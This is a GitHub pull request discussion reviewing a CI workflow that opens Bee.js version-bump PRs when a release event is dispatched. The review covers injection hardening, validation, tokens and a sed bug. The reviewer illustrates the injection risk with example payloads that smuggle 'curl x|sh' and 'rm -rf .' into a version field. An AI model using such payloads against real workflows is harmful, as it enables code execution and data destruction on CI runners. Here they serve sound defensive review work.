ci: handle bee.js released event

[slapec93]

When a new Bee.js version is released, it dispatches an event, so a new PR can be opened to bump Bee.js version to the latest.

[darkobas2]

Code-level review of the workflow:

1. Command injection (blocker)

- name: Update BEE_JS_VERSION in dependency.ts
  run: |
    VERSION=${{ github.event.client_payload.version }}
    sed -i "s/.../^$VERSION/" src/dependency.ts

client_payload.version is interpolated by the workflow runner before bash sees the script. A payload like 1.0.0"; curl x|sh; # becomes literal shell. The trigger is repository_dispatch so only the dispatcher App can fire it today, but if the App's private key ever leaks (or any future write-access path exists) this is RCE on the runner. Standard GH Actions hardening pattern is env vars:

- name: Update BEE_JS_VERSION in dependency.ts
  env:
    VERSION: ${{ github.event.client_payload.version }}
  run: |
    sed -i "s/.../^${VERSION}/" src/dependency.ts

Refs: GH Actions security hardening. CodeQL flags the original pattern.

2. Validate the version (defense in depth)

Even with env-var hardening, sed runs on whatever's in $VERSION. A value like 0.0.0; rm -rf . wrecks the working tree without RCE. Add a regex gate before sed:

- name: Validate version
  env:
    VERSION: ${{ github.event.client_payload.version }}
  run: |
    if ! printf '%s' "$VERSION" | grep -qE '^[0-9]+\.[0-9]+\.[0-9]+(-[A-Za-z0-9.-]+)?$'; then
      echo "invalid version: $VERSION" >&2; exit 1
    fi

3. PR token — auto-bump PR won't trigger CI as written

peter-evans/create-pull-request@v7 defaults to secrets.GITHUB_TOKEN. PRs opened by the github-actions bot don't trigger workflow runs (GitHub anti-loop protection). So the bump PR sits with empty checks — defeating the "see if tests pass on each upstream release" goal.

Fix: pass the App token here too (requires the same App installed on this repo). Add a create-github-app-token step at the top of this job, then:

- uses: peter-evans/create-pull-request@v7
  with:
    token: ${{ steps.app-token.outputs.token }}
    ...

4. Pin third-party action by exact version

Given the team's concern about action stability, pin peter-evans/create-pull-request to an exact tag (e.g. @v7.0.5) rather than the floating @v7. Lower-risk update cadence and reproducible builds.

5. Minor: fetch-depth: 0 is unneeded

The job only edits one file in working tree — default depth 1 is fine.

[darkobas2]

On the App-token step (per point 3 in the review above) — the org already has the App credentials stored as organization secrets, no per-repo setup needed:

• BEE_RUNNER_APP_ID (numeric) or BEE_RUNNER_CLIENT_ID (string) — either format works as app-id
• BEE_RUNNER_KEY (private key)

So the receiver step looks like:

- name: Generate App token
  id: app-token
  uses: actions/create-github-app-token@v1
  with:
    app-id: ${{ secrets.BEE_RUNNER_CLIENT_ID }}
    private-key: ${{ secrets.BEE_RUNNER_KEY }}

- uses: peter-evans/create-pull-request@v7
  with:
    token: ${{ steps.app-token.outputs.token }}
    ...

The App needs to be installed on this repo with contents: write + pull_requests: write for the PR to be created under the App and trigger downstream CI.

[darkobas2]

Most of the previous review is addressed — env-var hardening, version regex validation, App token for the PR step, and an exact pin on peter-evans/create-pull-request@v8.1.1. Two things left:

Blocker: \$VERSION won't expand

sed -i "s/BEE_JS_VERSION = '\\^[^']*'/BEE_JS_VERSION = '^\$VERSION'/" src/dependency.ts

In bash, "\$VERSION" is a literal $ followed by VERSION — the variable is not expanded. So dependency.ts ends up with:

export const BEE_JS_VERSION = '^$VERSION'

…and every downstream npm install breaks. Drop the backslash:

sed -i "s/BEE_JS_VERSION = '\\^[^']*'/BEE_JS_VERSION = '^${VERSION}'/" src/dependency.ts

Quick local repro:

$ VERSION=12.5.0 bash -c 'echo "^\$VERSION"'
^$VERSION
$ VERSION=12.5.0 bash -c 'echo "^${VERSION}"'
^12.5.0

Worth a smoke test against a dispatched payload before merging — a workflow that runs green but silently writes garbage into the source is the worst failure mode here.

Nit: redundant \^ in the search pattern

Inside the sed pattern '\^[^']*', the \^ is escaping a ^ that isn't anchored anyway (it's not at the start of the regex). Leave it as '\\^[^']*' if you want, or simplify to '\\^[^\']*' → '^[^\']*'. Cosmetic.

Otherwise LGTM once the sed is fixed.

[darkobas2]

🔴 Blocker — sed escape bug writes literal $VERSION

sed -i "s/BEE_JS_VERSION = '\\^[^']*'/BEE_JS_VERSION = '^\$VERSION'/" src/dependency.ts

Inside the double quotes, \$ is escaped, so bash does not expand $VERSION. Reproduced locally — the file ends up with:

export const BEE_JS_VERSION = '^$VERSION'

Fix: drop the backslash → '^$VERSION'.

🟡 Nice-to-have

• After the sed, add a sanity check so we fail loudly if the pattern ever drifts (e.g. someone switches ' to "):

  grep -q "BEE_JS_VERSION = '\\^$VERSION'" src/dependency.ts || { echo 'sed did not match'; exit 1; }

• Reuse the validated $VERSION env var (or hoist it to a job-level env:) in the branch:/title:/commit-message:/body: fields instead of re-interpolating \${{ github.event.client_payload.version }} — same value today, just one source of truth.
• Optional: pass a changelog URL via client_payload and link it in the PR body so the reviewer can jump straight to the release notes.

✅ Looks good

• Version regex validation before any shell interpolation.
• App token via `actions/create-github-app-token@v1` so the resulting PR triggers downstream CI.
• Minimal permissions: block.

[darkobas2]

Heads-up: this workflow's app-id: ${{ secrets.BEE_RUNNER_CLIENT_ID }} produced 'Issuer' claim ('iss') must be an Integer when bee-factory's release workflow first fired with the same pattern (failed run). The action ends up passing the non-numeric Client ID into the JWT iss claim. Switching to BEE_RUNNER_APP_ID (numeric) fixes it — worth doing here too before this workflow first runs.